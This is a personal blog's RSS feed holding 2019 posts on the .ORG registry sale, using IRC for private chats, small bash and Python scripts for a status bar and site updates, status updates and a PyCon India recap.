pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
15<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
162003. The .ORG TLD is used primarily by communities, free and open source projects,
17and other non-profit organizations – although the use of the TLD isn’t
18restricted to non-profits.</p>
19
20<p>The Internet Society or ISOC, the group that created the PIR, has
21decided to sell the registry over to a private equity firm – Ethos
22Capital.</p>
23
24<h3 id="whats-the-problem">What’s the problem?</h3>
25
26<p>There are around 10 million .ORG TLDs registered, and a good portion of
27them are non-profits and non-governmental organizations. As the name
28suggests, they don’t earn any profits and all their operations rely on
29a thin inflow of donations. A private firm having control of the .ORG
30domain gives them the power to make decisions that would be unfavourable
31to the .ORG community:</p>
32
33<ul>
34<li><p>They control the registration/renewal fees of the TLD. They can
35hike the price if they wish to. As is stands, NGOs already earn very
36little – a .ORG price hike would put them in a very icky situation.</p></li>
37<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
38Mechanisms</a>
39or RPMs, which are essentially legal statements that can—if not
40correctly developed—jeopardize / censor completely legal non-profit
41activities.</p></li>
42<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
43news that nation states go after NGOs, targetting them with allegations
44of illegal activity. The registry being a private firm only simplifies
45the process.</p></li>
46</ul>
47
48<p>Sure, these are just “what ifs” and speculations, but the risk is real.
49Such power can be abused and this would be severly detrimental to NGOs
50globally.</p>
51
52<h3 id="how-can-i-help">How can I help?</h3>
53
54<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
55<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
56behalf to:</p>
57
58<ul>
59<li>Andrew Sullivan, CEO, ISOC</li>
60<li>Jon Nevett, CEO, PIR</li>
61<li>Maarten Botterman, Board Chair, ICANN</li>
62<li>Göran Marby, CEO, ICANN</li>
63</ul>
64
65<h3 id="closing-thoughts">Closing thoughts</h3>
66
67<p>The Internet that we all love and care for is slowly being subsumed by
68megacorps and private firms, who’s only motive is to make a profit. The
69Internet was meant to be free, and we’d better act now if we want that
70freedom. The future looks bleak – I hope we aren’t too late.</p>
71]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
72exams. I get all these cool ideas for things to do, and it’s always
73during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
74
75<h3 id="blog-post-queue">Blog post queue</h3>
76
77<p>I realized that I could use this site’s
78<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
79I’ve made a few, mostly just porting them over from my Google Keep note.</p>
80
81<p>This method of using issues is great, because readers can chime in with
82ideas for things I could possibly discuss – like in <a href="https://github.com/icyphox/site/issues/10">this
83issue</a>.</p>
84
85<h3 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h3>
86
87<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
88– is awfully slow. Also, Python is bloat.
89Will rewriting it fix that? That’s what I plan to find out. I have
90a couple of choices of languages to use in the rewrite:</p>
91
92<ul>
93<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
94<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
95<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
96(<code>shite</code>?)</li>
97</ul>
98
99<p>Oh, and did I mention – I want it to be compatible with <code>vite</code>.
100I don’t want to have to redo my site structure or its templates. At the
101moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
102
103<h3 id="irc-bot">IRC bot</h3>
104
105<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
106traction, which was pretty cool. I didn’t really talk much about the bot
107itself though; I’m dedicating this section to
108<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
109
110<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
111basic features in place:</p>
112
113<ul>
114<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
115track</li>
116<li>Fetches the URL title, when a URL is sent in chat</li>
117</ul>
118
119<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
120command, since we share Spotify links pretty often.</p>
121
122<h3 id="other">Other</h3>
123
124<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
125log</a> when I, well… get around to it. Haven’t had time to do
126much in the past few weeks – the time at the end of a semester tends to
127get pretty tight. Here’s what I plan to get back to during this winter break:</p>
128
129<ul>
130<li>Russian!</li>
131<li>Window manager in Nim</li>
132<li><code>vite</code> rewrite, probably</li>
133<li>The other blog posts in queue</li>
134</ul>
135
136<p>I’ve also put off doing any “security work” for a while now, perhaps
137that’ll change this December. Or whenever.</p>
138
139<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
140
141<div class="footnotes">
142<hr />
143<ol>
144<li id="fn-1">
145<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
146</li>
147</ol>
148</div>
149]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
150daily communications, as opposed to non-free alternatives like WhatsApp
151or Telegram. This is an account of how that went.</p>
152
153<h3 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h3>
154
155<p>I’ve tried a <em>ton</em> of messaging applications – Signal, WhatsApp,
156Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
157
158<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
159centralized architecture, and OWS’s refusal to federate.</p>
160
161<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
162thought. The sole reason I have it installed is for University’s
163class groups; I can’t wait to graduate.</p>
164
165<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
166got a very nice Android client, though.</p>
167
168<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
169on this because I don’t recall what my experience was like, but I’m not
170using it now… so if that’s indicative of anything.</p>
171
172<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
173Overall, pretty great, but it’s slow. I’ve had messages not send / not
174received a lot of times. Matrix + Riot excels in group communication, but
175really sucks for one-to-one chats.</p>
176
177<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
178
179<p><strong>DeltaChat</strong>: Pretty interesting idea – on paper. Using existing email
180infrastructure for IM sounds great, but it isn’t all that cash in
181practice. Email isn’t instant, there’s always a delay of give or take
1825 to 10 seconds, if not more. This affects the flow of conversation.
183I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
184
185<h3 id="why-irc">Why IRC?</h3>
186
187<p>It’s free, in all senses of the word. A lot of others have done a great
188job of answering this question in further detail, this is by far my
189favourite:</p>
190
191<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
192
193<h3 id="using-ircs-private-messages">Using IRC’s private messages</h3>
194
195<p>This was the next obvious choice, but personal message buffers don’t
196persist in ZNC and it’s very annoying to have to do a <code>/query
197nerdypepper</code> (Weechat) or to search and message a user via Revolution
198IRC. The only unexplored option – using a channel.</p>
199
200<h3 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h3>
201
202<p>A fairly easy process:</p>
203
204<ul>
205<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
206
207<pre><code>#crimson [+ilnpstz 3]
208</code></pre>
209
210<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
211hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
212modes.</p></li>
213<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
214to send a notification for all messages in the specified buffer
215(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
216hand, has an option to setup rules for notifications – super
217convenient.</p></li>
218<li><p>A bot: Lastly, a bot for a few small tasks – fetching URL titles, responding
219to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
220took me about an hour or two to get most of the basic functionality in
221place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
222It is by no means “good code”; it breaks spectacularly from time to
223time.</p></li>
224</ul>
225
226<h3 id="in-conclusion">In conclusion</h3>
227
228<p>As the subtitle suggests, using IRC has been great. It’s probably not
229for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
230
231<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
232
233<div class="footnotes">
234<hr />
235<ol>
236<li id="fn-modes">
237<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
238</li>
239
240<li id="fn-deltachat">
241<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
242</li>
243</ol>
244</div>
245]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
246episode a couple of days ago, and it highlighted some interesting issues that
247intelligence organizations face when working with law enforcement. Side note: it’s a pretty
248good show if you like police procedurals.</p>
249
250<h3 id="the-problem">The problem</h3>
251
252<p>Consider the following scenario:</p>
253
254<ul>
255<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
256<li>Local PD busts his operation and proceed to arrest him.</li>
257<li>3-letter org steps in, wants him released.</li>
258</ul>
259
260<p>So here’s the thing, his presence is a threat to public but at the same time,
261he can be a valuable long term asset – giving info on drug inflow, exchanges and perhaps even
262actionable intel on bigger fish who exist on top of the ladder. But he also
263seeks security. The 3-letter org must provide him with protection,
264in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
265
266<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
267Who matters more, the people they’ve sworn to protect, or the asset?
268Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
269
270<p>Thus, the question arises – how can we measure the “usefulness” of an
271asset to better quantify the tradeoff that is to be made?
272Is the intel gained worth the loss of public safety?
273This question remains largely unanswered, and is quite the
274predicament should you find yourself in it.</p>
275
276<p>This was a fairly short post, but an interesting problem to ponder
277nonetheless.</p>
278]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
279to learn to code. Don’t get me wrong – it probably works for some.
280Everyone learns differently. But that’s only going to get you so far.
281Great you know the syntax, you can solve some competitive programming
282problems, but that’s not quite enough, is it? The actual learning comes
283from <em>applying</em> it in solving <em>actual</em> problems – not made up ones.
284(<em>inb4 some seething CP bro comes at me</em>)</p>
285
286<p>Now, what’s an actual problem? Some might define it as real world
287problems that people out there face, and solving it probably requires
288building a product. This is what you see in hackathons, generally.</p>
289
290<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
291face. This could be anything. Heck, it might not even be a “problem”. It
292could just be an itch that you want to scratch. And this is where
293<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
294examples.</p>
295
296<h3 id="now-playing-status-in-my-bar">Now playing status in my bar</h3>
297
298<p>If you weren’t aware already – I rice my desktop. A lot. And a part of
299this cohesive experience I try to create involves a status bar up at the
300top of my screen, showing the time, date, volume and battery statuses etc.</p>
301
302<p>So here’s the “problem”. I wanted to have my currently playing song
303(Spotify), show up on my bar. How did I approach this? A few ideas
304popped up in my head:</p>
305
306<ul>
307<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
308<li>Write a Python script to query Spotify’s API</li>
309<li>Write a Python/shell script to query Last.fm’s API</li>
310</ul>
311
312<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
313Spotify client and whined about some <code>dbus</code> issues to top it off.
314I spent a while in that rabbit hole but eventually gave up.</p>
315
316<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
317I realize that I’ll have to make <em>more</em> than one request to fetch the
318artist and track details. Nope, I need this to work fast.</p>
319
320<p>Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguably
321the best choice, since it shows the track status regardless of where
322the music is being played. Here’s the script in its entirety:</p>
323
324<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
325<span class="c1"># now playing</span>
326<span class="c1"># requires the last.fm API key</span>
327
328<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
329<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
330<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
331
332<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
333<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
334<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
335<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
336<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
337<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
338
339
340<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
341<span class="k">then</span>
342 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
343 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
344 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
345<span class="k">else</span>
346 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
347<span class="k">fi</span>
348</code></pre></div>
349
350<p>The <code>source</code> command is used to fetch the API key which I store at
351<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
352for coloring output on my bar. The rest is fairly trivial and just
353involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
354That’s it! It’s so small, but I learnt a ton. For those curious, here’s
355what it looks like running:</p>
356
357<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
358
359<h3 id="update-latest-post-on-the-index-page">Update latest post on the index page</h3>
360
361<p>This pertains to this very blog that you’re reading. I wanted a quick
362way to update the “latest post” section in the home page and the
363<a href="/blog">blog</a> listing, with a link to the latest post. This would require
364editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
365of both pages.</p>
366
367<p>This was a very
368interesting challenge to me, primarily because it requires in-place
369editing of the file, not just appending. Sure, I could’ve come up with
370some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
371regexes. Did a lot of research (read: Googling) on in-place editing of
372files in Python, sorting lists of files by modification time etc. and
373this is what I ended up on, ultimately:</p>
374
375<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
376
377<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
378<span class="kn">import</span> <span class="nn">os</span>
379<span class="kn">import</span> <span class="nn">fileinput</span>
380<span class="kn">import</span> <span class="nn">sys</span>
381
382<span class="c1"># change our cwd</span>
383<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
384
385<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
386
387<span class="c1"># get the most recently created file</span>
388<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
389 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
390 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
391 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
392
393<span class="c1"># adding an entry to the markdown table</span>
394<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
395 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
396 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
397 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
398 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
399 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
400
401 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
402 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
403
404<span class="c1"># editing the md source in-place</span>
405<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
406 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
407 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
408 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
409 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
410 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
411 <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
412
413
414<span class="c1"># fetch title and date</span>
415<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
416<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
417<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
418<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">"| [{meta['title']}]({url}) | `{meta['date']}` |"</span>
419
420<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
421<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
422</code></pre></div>
423
424<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
425massive hack</strong>. And in the end, that’s my point exactly. It’s very
426hacky, but the sheer amount I learnt by writing this ~50
427line script can’t be taught anywhere.</p>
428
429<p>This was partially how
430<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
431intended to be a script to build my site, but grew into a full-blown
432Python package. I could’ve just
433used an off-the-shelf static site generator
434given that there are <a href="https://staticgen.com">so many</a> of them, but
435I chose to write one myself.</p>
436
437<p>And that just about sums up what I wanted to say. The best and most fun
438way to learn to code – write hacky scripts. You heard it here.</p>
439]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
440they were never weekly and—let’s be honest—they aren’t going to be.
441These posts are, henceforth, just “Status updates”. The date range can
442be inferred from the post date.</p>
443
444<p>That said, here’s what I’ve been up to!</p>
445
446<h3 id="void-linux">Void Linux</h3>
447
448<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
449really. The very comfy <code>apk</code>, ultra mnml system… but having to
450maintain a chroot for my glibc needs was getting way too painful. And
451the package updates are so slow! Heck, they’re still on kernel 4.xx on
452their supposed “bleeding” <code>edge</code> repo.</p>
453
454<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
455I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
456(-95 mV). Can’t say for sure if there’s a noticeable difference in
457battery life though. I’ll see if I can run some tests.</p>
458
459<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
460
461<h3 id="pycon">PyCon</h3>
462
463<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
464
465<h3 id="this-website">This website</h3>
466
467<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
468using Netlify, though. I used to host my old blog which ran Hugo, there.
469I was tired of doing this terrible hack to maintain a single repo for
470both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
471what I did:</p>
472
473<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
474
475git push origin master
476<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
477git subtree push --prefix build origin gh-pages
478</code></pre></div>
479
480<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
481by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
482build</code>. Very pleasant.</p>
483
484<h3 id="mnmlwms-status"><code>mnmlwm</code>’s status</h3>
485
486<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
487window manager written in Nim. I’d taken a break from it for a while
488because Xlib is such a pain to work with (or I’m just dense). Anyway,
489I’m planning on getting back to it, with some fresh inspiration from
490Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
491
492<h3 id="other">Other</h3>
493
494<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
495Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
496started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
497<a href="/reading">reading log</a>.</p>
498
499<p>That’s about it, and I’ll see you – definitely not next week.</p>
500]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
501weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
502It was my first PyCon, <em>and</em> my first ever talk at a major conference!
503This is an account of the all the cool stuff I saw, people I met and the
504talks I enjoyed.
505Forgive the lack of pictures – I prefer living the moment through my
506eyes. </p>
507
508<h3 id="talks">Talks</h3>
509
510<p>So much ML! Not that it’s a bad thing, but definitely interesting to
511note. From what I counted, there were about 17 talks tagged under “Data
512Science, Machine Learning and AI”. I’d have liked to see more talks
513discussing security and privacy, but hey, the organizers can only pick
514from what’s submitted. ;)</p>
515
516<p>With that point out of the way, here are some of the talks I really liked:</p>
517
518<ul>
519<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
520<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
521<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
522<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
523<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
524keynote</li>
525</ul>
526
527<h3 id="my-talk">My talk (!!!)</h3>
528
529<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
530our smart lock security research. Agreed, it might have been less
531“hardware” and more of a bug on the server-side, but that’s the thing
532about IoT right? It’s so multi-faceted, and is an amalgamation of so
533many different hardware and software stacks. But, anyway…</p>
534
535<p>I was reassured by folks after the talk that the silence during Q/A was
536the “good” kind of silence. Was it really? I’ll never know.</p>
537
538<h3 id="some-nice-people-i-met">Some nice people I met</h3>
539
540<ul>
541<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
542me about everything from computational biology to the physical
543implementation of quantum computers.</li>
544<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
545<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
546awesome.</li>
547<li><a href="https://twitter.com/h6165">Abhishek</a></li>
548<li>Pradyun and Vikrant (linked earlier)</li>
549</ul>
550
551<p>And a lot of other people doing really great stuff, whose names I’m
552forgetting.</p>
553
554<h3 id="pictures">Pictures!</h3>
555
556<p>It’s not much, and
557I can’t be bothered to format them like a collage or whatever, so I’ll
558just dump them here – as is.</p>
559
560<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
561<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
562<img src="/static/img/me_talking.jpg" alt="me talking" />
563<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
564
565<h3 id="cest-tout">C’est tout</h3>
566
567<p>Overall, a great time and a weekend well spent. It was very different
568from your typical security conference – a lot more <em>chill</em>, if you
569will. The organizers did a fantastic job and the entire event was put
570together really well.
571I don’t have much else to say, but I know for sure that I’ll be
572there next time.</p>
573
574<p>That was PyCon India, 2019.</p>
